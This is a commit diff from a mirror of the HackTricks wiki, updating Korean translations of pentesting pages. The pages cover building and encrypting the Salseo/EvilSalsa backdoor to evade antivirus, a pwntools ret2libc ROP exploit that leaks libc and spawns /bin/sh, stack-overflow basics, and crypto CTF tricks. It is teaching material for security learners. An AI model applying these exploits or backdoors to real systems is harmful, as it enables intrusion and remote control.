maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu

Browse Source
This commit is contained in:
Translator 2025-04-07 02:20:54 +00:00
parent 10a5dc90ff
commit 22d890367c
114 changed files with 3607 additions and 2796 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
src/SUMMARY.md
View File

@ -284,8 +284,10 @@
- [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
- [Lateral Movement](windows-hardening/lateral-movement/README.md)
- [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
- [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
- [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
- [SCMexec](windows-hardening/lateral-movement/scmexec.md)
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
@ -299,6 +301,7 @@
- [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
- [Mythic](windows-hardening/mythic.md)
# 📱 Mobile Pentesting

14
src/backdoors/salseo.md
View File

@ -4,23 +4,23 @@
## 바이너리 컴파일
소스 코드를 github에서 다운로드하고 **EvilSalsa**와 **SalseoLoader**를 컴파일하세요. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
github에서 소스 코드를 다운로드하고 **EvilSalsa**와 **SalseoLoader**를 컴파일합니다. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
사용할 윈도우 박스의 아키텍처에 맞게 프로젝트를 컴파일하세요(Windows가 x64를 지원하면 해당 아키텍처로 컴파일하세요).
사용할 Windows 박스의 아키텍처에 맞게 프로젝트를 컴파일합니다(Windows가 x64를 지원하면 해당 아키텍처로 컴파일합니다).
**Visual Studio**의 **왼쪽 "Build" 탭**에서 **"Platform Target"**을 통해 **아키텍처를 선택**할 수 있습니다.
(\*\*이 옵션을 찾을 수 없다면 **"Project Tab"**을 클릭한 후 **"\<Project Name> Properties"**를 클릭하세요)
(**이 옵션을 찾을 수 없으면 **"Project Tab"**을 클릭한 다음 **"\<Project Name> Properties"**를 클릭하세요.)
![](<../images/image (132).png>)
그런 다음 두 프로젝트를 빌드하세요 (Build -> Build Solution) (로그 안에 실행 파일의 경로가 나타납니다):
그런 다음 두 프로젝트를 빌드합니다 (Build -> Build Solution) (로그 안에 실행 파일의 경로가 나타납니다):
![](<../images/image (1) (2) (1) (1) (1).png>)
## 백도어 준비
우선, **EvilSalsa.dll**을 인코딩해야 합니다. 이를 위해 **encrypterassembly.py**라는 파이썬 스크립트를 사용하거나 **EncrypterAssembly** 프로젝트를 컴파일할 수 있습니다.
우선, **EvilSalsa.dll**을 인코딩해야 합니다. 이를 위해 python 스크립트 **encrypterassembly.py**를 사용하거나 **EncrypterAssembly** 프로젝트를 컴파일할 수 있습니다.
### **Python**
```
@ -32,11 +32,11 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
이제 모든 Salseo 작업을 실행하는 데 필요한 것이 있습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 바이너리.**
이제 Salseo 작업을 실행하는 데 필요한 모든 것이 있습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 바이너리.**
**SalseoLoader.exe 바이너리를 머신에 업로드하세요. 어떤 AV에도 탐지되지 않아야 합니다...**
## **백도어 실행**
## **백도어 실행하기**
### **TCP 리버스 셸 얻기 (HTTP를 통해 인코딩된 dll 다운로드)**

66
src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
View File

@ -1,17 +1,17 @@
# ROP을 이용한 libc 주소 유출
# ROP를 이용한 libc 주소 유출
{{#include ../../../../banners/hacktricks-training.md}}
## 간단 요약
1. **오버플로우 오프셋** 찾기
1. **오버플로우** **오프셋** 찾기
2. `POP_RDI` 가젯, `PUTS_PLT` 및 `MAIN` 가젯 찾기
3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 **메모리 주소를 유출**하고 **libc 버전 찾기** ([다운로드하기](https://libc.blukat.me))
4. 라이브러리를 사용하여 **ROP 계산 및 익스플로잇하기**
4. 라이브러리를 사용하여 **ROP를 계산하고 이를 이용해 공격하기**
## 연습할 다른 튜토리얼 및 바이너리
이 튜토리얼은 이 튜토리얼에서 제안한 코드/바이너리를 익스플로잇할 것입니다: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
이 튜토리얼은 이 튜토리얼에서 제안한 코드/바이너리를 공격할 것입니다: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
또 다른 유용한 튜토리얼: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## 코드
@ -32,9 +32,9 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - LIBC 주소 유출 템플릿
## ROP - LIBC 유출 템플릿
익스플로잇을 다운로드하고 취약한 바이너리와 같은 디렉토리에 배치한 후 스크립트에 필요한 데이터를 제공하십시오:
익스플로잇을 다운로드하고 취약한 바이너리와 동일한 디렉토리에 배치한 후 스크립트에 필요한 데이터를 제공합니다:
{{#ref}}
rop-leaking-libc-template.md
@ -42,7 +42,7 @@ rop-leaking-libc-template.md
## 1- 오프셋 찾기
템플릿은 익스플로잇을 계속하기 전에 오프셋이 필요합니다. 제공된 경우, 필요한 코드를 실행하여 오프셋을 찾습니다 (기본값 `OFFSET = ""`):
템플릿은 익스플로잇을 계속 진행하기 전에 오프셋이 필요합니다. 제공된 경우, 필요한 코드를 실행하여 오프셋을 찾습니다 (기본값 `OFFSET = ""`):
```bash
###################
### Find offset ###
@ -71,7 +71,7 @@ cyclic_find(0x6161616b)
## 2- 가젯 찾기
이제 이진 파일 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 `puts`를 호출하여 사용 중인 **libc**를 찾고, 나중에 **최종 익스플로잇을 실행**하는 데 유용합니다.
이제 바이너리 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 `puts`를 호출하여 사용 중인 **libc**를 찾고, 나중에 **최종 익스플로잇을 실행**하는 데 유용합니다.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -82,15 +82,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT`는 **함수 puts**를 호출하는 데 필요합니다.\
`MAIN_PLT`는 **오버플로우**를 **다시** **악용**하기 위해 한 번의 상호작용 후에 **main function**을 다시 호출하는 데 필요합니다(무한 반복의 악용). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다**.\
**POP_RDI**는 호출된 함수에 **매개변수**를 **전달**하는 데 필요합니다.
`PUTS_PLT`는 **function puts**를 호출하는 데 필요합니다.\
`MAIN_PLT`는 **exploit**을 위해 한 번의 상호작용 후에 **main function**을 다시 호출하는 데 필요합니다 (무한한 **exploit** 라운드). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다**.\
**POP_RDI**는 호출된 함수에 **parameter**를 **전달**하는 데 필요합니다.
이 단계에서는 pwntools가 실행 중에 모든 것을 찾기 때문에 아무것도 실행할 필요가 없습니다.
## 3- libc 라이브러리 찾기
이제 어떤 버전의 **libc** 라이브러리가 사용되고 있는지 찾을 시간입니다. 그렇게 하기 위해 우리는 **함수** `puts`의 메모리 내 **주소**를 **유출**한 다음, 해당 주소에서 puts 버전이 있는 **라이브러리 버전**을 **검색**할 것입니다.
이제 어떤 버전의 **libc** 라이브러리가 사용되고 있는지 찾을 시간입니다. 그렇게 하기 위해 우리는 **function** `puts`의 메모리 내 **address**를 **leak**한 다음, 해당 주소에서 puts 버전이 포함된 **library version**을 **search**할 것입니다.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -123,16 +123,16 @@ p.interactive()
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
이것은 **RIP**를 **덮어쓰기**할 수 있을 때까지 몇 바이트를 보낼 것입니다: `OFFSET`.\
그런 다음, **주소**를 `POP_RDI` 가젯으로 설정하여 다음 주소(`FUNC_GOT`)가 **RDI** 레지스트리에 저장되도록 합니다. 이는 우리가 **puts를 호출**하고 **주소**를 `PUTS_GOT`로 전달하기를 원하기 때문입니다. `puts` 함수의 메모리 주소는 `PUTS_GOT`가 가리키는 주소에 저장됩니다.\
그 후, `PUTS_PLT`가 호출될 것입니다( **RDI** 안에 `PUTS_GOT`가 포함됨) 그래서 puts는 `PUTS_GOT` 안의 **내용**을 **읽고** (**메모리에서 puts 함수의 주소**) **출력**할 것입니다.\
이것은 **RIP**를 **덮어쓰기** 할 수 있을 때까지 몇 바이트를 전송할 것입니다: `OFFSET`.\
그런 다음, **RDI** 레지스터에 다음 주소(`FUNC_GOT`)가 저장되도록 가젯 `POP_RDI`의 **주소**를 설정합니다. 이는 우리가 **puts를 호출**하고 `PUTS_GOT`의 **주소**를 메모리에서 puts 함수의 주소로 전달하고자 하기 때문입니다.\
그 후, `PUTS_PLT`가 호출될 것이며(`PUTS_GOT`가 **RDI** 안에 있음) puts는 `PUTS_GOT` 안의 **내용**을 **읽고** (**메모리에서 puts 함수의 주소**) 이를 **출력**할 것입니다.\
마지막으로, **main 함수가 다시 호출**되어 우리는 오버플로우를 다시 이용할 수 있습니다.
이렇게 해서 우리는 **puts 함수**를 **속여서** **메모리**에서 **puts** 함수의 **주소**를 **출력**하게 했습니다(이는 **libc** 라이브러리 안에 있습니다). 이제 그 주소를 알게 되었으니 **어떤 libc 버전이 사용되고 있는지 검색**할 수 있습니다.
이렇게 우리는 **puts 함수**를 **속여** **메모리**에 있는 **puts** 함수의 **주소**를 **출력**하게 만들었습니다(이는 **libc** 라이브러리 안에 있습니다). 이제 그 주소를 알았으니 **어떤 libc 버전이 사용되고 있는지 검색**할 수 있습니다.
![](<../../../../images/image (1049).png>)
우리가 **로컬** 바이너리를 **악용**하고 있기 때문에 어떤 버전의 **libc**가 사용되고 있는지 알아낼 필요는 없습니다(단지 `/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾으면 됩니다).\
우리가 **로컬** 바이너리를 **악용**하고 있기 때문에 어떤 **libc** 버전이 사용되고 있는지 알아낼 필요는 없습니다(단지 `/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾으면 됩니다).\
하지만 원격 익스플로잇의 경우, 여기서 어떻게 찾을 수 있는지 설명하겠습니다:
### 3.1- libc 버전 검색 (1)
@ -162,7 +162,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
우리는 2개의 결과를 얻습니다 (첫 번째가 작동하지 않으면 두 번째를 시도해야 합니다). 첫 번째 것을 다운로드하세요:
우리는 2개의 일치를 얻습니다 (첫 번째가 작동하지 않으면 두 번째를 시도해야 합니다). 첫 번째 것을 다운로드하십시오:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@ -181,13 +181,13 @@ __libc_start_main
read
gets
```
## 4- libc 주소 찾기 및 악용
## 4- Finding based libc address & exploiting
이 시점에서 사용된 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 악용하고 있으므로 저는 단지:`/lib/x86_64-linux-gnu/libc.so.6`를 사용할 것입니다.
이 시점에서 우리는 사용된 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 익스플로잇하고 있으므로 나는 단지:`/lib/x86_64-linux-gnu/libc.so.6`를 사용할 것입니다.
따라서 `template.py`의 시작 부분에서 **libc** 변수를 다음으로 변경하십시오: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
따라서 `template.py`의 시작 부분에서 **libc** 변수를 다음과 같이 변경하십시오: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
**libc 라이브러리**에 **경로**를 제공하면 나머지 **악용은 자동으로 계산될 것입니다**.
**libc 라이브러리**에 **경로**를 제공하면 나머지 **익스플로잇은 자동으로 계산될 것입니다**.
`get_addr` 함수 내에서 **libc의 기본 주소**가 계산될 것입니다:
```python
@ -196,9 +196,9 @@ libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> 최종 libc 기본 주소는 **00**으로 끝나야 합니다. 그렇지 않은 경우 잘못된 라이브러리를 유출했을 수 있습니다.
> **최종 libc 기본 주소는 00으로 끝나야 합니다.** 그렇지 않은 경우 잘못된 라이브러리를 유출했을 수 있습니다.
그런 다음, 함수 `system`의 주소와 문자열 _"/bin/sh"_의 **주소**는 **libc**의 **기본 주소**에서 **계산**됩니다. **libc 라이브러리**가 제공됩니다.
그런 다음, 함수 `system`의 **주소**와 문자열 _"/bin/sh"_의 **주소**는 **libc**의 **기본 주소**에서 **계산**됩니다.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -217,18 +217,18 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
마지막 ROP에 대해 설명하겠습니다.\
마지막 ROP(`rop1`)은 다시 main 함수를 호출한 후, 다시 **overflow**를 **exploit**할 수 있습니다(그래서 `OFFSET`이 여기 다시 있는 것입니다). 그런 다음, 우리는 **"/bin/sh"**의 **주소**(`BINSH`)를 가리키는 `POP_RDI`를 호출하고 **system** 함수(`SYSTEM`)를 호출하고자 합니다. 왜냐하면 **"/bin/sh"**의 주소가 매개변수로 전달될 것이기 때문입니다.\
마지막으로, **exit 함수의 주소**가 **호출**되어 프로세스가 **정상적으로 종료**되고 어떤 경고도 생성되지 않습니다.
이 마지막 ROP을 설명하겠습니다.\
마지막 ROP(`rop1`)은 다시 main 함수를 호출한 후, 우리는 **overflow**를 **다시 이용할 수 있습니다** (그래서 `OFFSET`이 여기 다시 있는 것입니다). 그런 다음, 우리는 **"/bin/sh"**의 **주소**(`BINSH`)를 가리키는 `POP_RDI`를 호출하고 **system** 함수(`SYSTEM`)를 호출하고자 합니다. 왜냐하면 **"/bin/sh"**의 주소가 매개변수로 전달될 것이기 때문입니다.\
마지막으로, **exit 함수의 주소**가 **호출되어** 프로세스가 **정상적으로 종료**되고 어떤 경고도 생성되지 않습니다.
**이렇게 하면 exploit가 \_/bin/sh**\_\*\* 셸을 실행합니다.\*\*
**이렇게 하면 exploit가 _/bin/sh_ 셸을 실행합니다.**
![](<../../../../images/image (165).png>)
## 4(2)- ONE_GADGET 사용하기
대신 **system**과 **"/bin/sh"**를 사용하는 대신 [**ONE_GADGET**](https://github.com/david942j/one_gadget)를 사용하여 셸을 얻을 수도 있습니다. **ONE_GADGET**은 libc 라이브러리 내에서 단 하나의 **ROP 주소**만으로 셸을 얻는 방법을 찾습니다.\
그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 것은 `[rsp+0x30] == NULL`입니다. **RSP** 내부의 값을 제어하므로 NULL 값을 좀 더 보내기만 하면 제약을 피할 수 있습니다.
그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 것은 `[rsp+0x30] == NULL`입니다. **RSP** 내부의 값을 제어하므로 제약을 피하기 위해 추가적인 NULL 값을 보내기만 하면 됩니다.
![](<../../../../images/image (754).png>)
```python
@ -237,7 +237,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
이 취약점을 악용하기 위한 템플릿은 여기에서 찾을 수 있습니다:
이 취약점을 이용하기 위한 템플릿은 여기에서 찾을 수 있습니다:
{{#ref}}
rop-leaking-libc-template.md
@ -259,13 +259,13 @@ MAIN_PLT = 0x401080
```
### Puts not found
이진 파일이 Puts를 사용하지 않는 경우 다음을 확인해야 합니다.
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
모든 익스플로잇을 생성한 후 이 **오류**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
**"/bin/sh"의 주소에서 64 바이트를 빼보세요**:
Try to **subtract 64 bytes to the address of "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```

16
src/binary-exploitation/stack-overflow/README.md
View File

@ -6,7 +6,7 @@
A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터가 손상되고, 제어 흐름이 방해받으며, 잠재적으로 악성 코드가 실행될 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기본 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터(EIP/RIP)**와 **저장된 기본 포인터(EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사할 때** 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
@ -23,13 +23,13 @@ printf("You entered: %s\n", buffer);
```
### 스택 오버플로우 오프셋 찾기
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는 것을 나타내는 `Segmentation Fault`**를 기대하는 것입니다.
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는** 것을 나타내는 `Segmentation Fault`를 기대하는 것입니다.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 하며, 이를 위해 일반적으로 **De Bruijn 시퀀스**가 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **모든 가능한 길이 _n_의 부분 수열이 정확히 한 번** 연속 부분 수열로 나타나는 **순환 시퀀스**입니다.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 수열**이 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 _n_의 모든 가능한 부분 수열이 정확히 한 번씩 연속 부분 수열로 나타나는 순환 수열**입니다.
이렇게 하면, EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 시퀀스 중 하나를 패딩으로 사용하고, 그 후 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 수열 중 하나를 패딩으로 사용하고, 그 패딩을 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
이 작업을 위해 **pwntools**를 사용할 수 있습니다:
이를 위해 **pwntools**를 사용할 수 있습니다:
```python
from pwn import *
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## 스택 오버플로우 악용
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP 및 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP와 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 위치로 리디렉션됩니다**.
그러나 다른 시나리오에서는 **스택의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
### Ret2win
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리 내부에** 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(일반적으로 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 비활성화됨) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리 내부에** 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋을 찾고** 호출할 **함수의 주소를 찾기만 하면** 됩니다(일반적으로 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 비활성화됨). 따라서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
{{#ref}}
ret2win/
@ -81,7 +81,7 @@ stack-shellcode/
## 힙 오버플로우
오버플로우가 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
오버플로우는 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
{{#ref}}
../libc-heap/heap-overflow.md

12
src/crypto-and-stego/crypto-ctfs-tricks.md
View File

@ -45,7 +45,7 @@
### Base Encodings Autosolver
모든 이 베이스를 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
모든 이 기본들을 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
@ -120,8 +120,6 @@
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 사라짐: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### 모스
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
@ -184,15 +182,15 @@ drnajapajrna
```
### Affine Cipher Encode
문자를 숫자로 변환 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자) 그리고 결과를 다시 문자로 변환
문자에서 숫자로 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자) 변환하고 결과를 다시 문자로 변환합니다.
```
krodfdudfrod
```
### SMS 코드
**Multitap** [문자를 대체](https://www.dcode.fr/word-letter-change)하는 반복된 숫자는 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)의 해당 키 코드에 의해 정의됩니다 (이 모드는 SMS를 작성할 때 사용됩니다).\
**Multitap** [문자를 대체](https://www.dcode.fr/word-letter-change)하는 것은 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)에서 해당 키 코드에 의해 정의된 반복된 숫자입니다 (이 모드는 SMS를 작성할 때 사용됩니다).\
예를 들어: 2=A, 22=B, 222=C, 3=D...\
이 코드는\*\* 여러 숫자가 반복되는 것을 볼 수 있기 때문에 식별할 수 있습니다\*\*.
이 코드를 식별할 수 있는 방법은 **여러 숫자가 반복되는** 것을 볼 수 있기 때문입니다.
이 코드는 다음에서 해독할 수 있습니다: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
@ -249,7 +247,7 @@ Key:
### Samir 비밀 공유
비밀은 X 부분으로 나뉘며, 이를 복구하기 위해서는 Y 부분이 필요합니다 (_Y <=X_).
비밀은 X 부분으로 나누어지고, 이를 복구하기 위해서는 Y 부분이 필요합니다 (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89

34
src/cryptography/crypto-ctfs-tricks.md
View File

@ -4,7 +4,7 @@
## Online Hashes DBs
- _**구글 검색**_
- _**구글링하기**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@ -25,7 +25,7 @@
## Encoders
Most of encoded data can be decoded with these 2 ressources:
대부분의 인코딩된 데이터는 이 두 리소스로 디코딩할 수 있습니다:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources:
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - 매우 좋음!
- [https://quipqiup.com/](https://quipqiup.com) - 매우 좋습니다!
#### Caesar - ROTx Autosolvers
@ -45,7 +45,7 @@ Most of encoded data can be decoded with these 2 ressources:
### Base Encodings Autosolver
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
모든 이러한 베이스를 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
@ -184,40 +184,40 @@ drnajapajrna
```
### Affine Cipher Encode
문자를 숫자로 변환 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자) 그리고 결과를 다시 문자로 변환
문자에서 숫자로 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자) 변환한 후 결과를 다시 문자로 변환합니다.
```
krodfdudfrod
```
### SMS 코드
**Multitap** [는 문자를 대체합니다](https://www.dcode.fr/word-letter-change) 반복된 숫자로, 이는 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)의 해당 키 코드에 의해 정의됩니다 (이 모드는 SMS를 작성할 때 사용됩니다).\
**Multitap** [문자를 대체](https://www.dcode.fr/word-letter-change)하는 것은 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)에서 해당 키 코드에 의해 정의된 반복된 숫자입니다 (이 모드는 SMS를 작성할 때 사용됩니다).\
예를 들어: 2=A, 22=B, 222=C, 3=D...\
이 코드는\*\* 여러 숫자가 반복되는 것을 볼 수 있기 때문에 식별할 수 있습니다\*\*.
이 코드는 **여러 숫자가 반복되는** 것을 볼 수 있기 때문에 식별할 수 있습니다.
이 코드는 다음에서 해독할 수 있습니다: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### 베이컨 코드
각 문자를 4개의 A 또는 B (또는 1과 0)로 대체합니다.
각 문자를 4개의 A 또는 B(또는 1과 0)로 대체합니다.
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### 룬
### Runes
![](../images/runes.jpg)
## 압축
## Compression
**Raw Deflate**와 **Raw Inflate**(두 가지 모두 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 압축 해제할 수 있습니다.
**Raw Deflate**와 **Raw Inflate** (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 압축 해제할 수 있습니다.
## 쉬운 암호화
## Easy Crypto
### XOR - 자동 해결기
### XOR - Autosolver
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### 비피드
### Bifid
키워드가 필요합니다.
```
@ -235,7 +235,7 @@ wodsyoidrods
## 강력한 암호
### 페르네트
### 페르넷
2개의 base64 문자열 (토큰 및 키)
```
@ -249,7 +249,7 @@ Key:
### Samir 비밀 공유
비밀은 X 부분으로 나뉘며, 이를 복구하려면 Y 부분이 필요합니다 (_Y <=X_).
비밀은 X 부분으로 나뉘며, 이를 복구하기 위해서는 Y 부분이 필요합니다 (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
@ -257,7 +257,7 @@ Key:
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL 무차별 대입
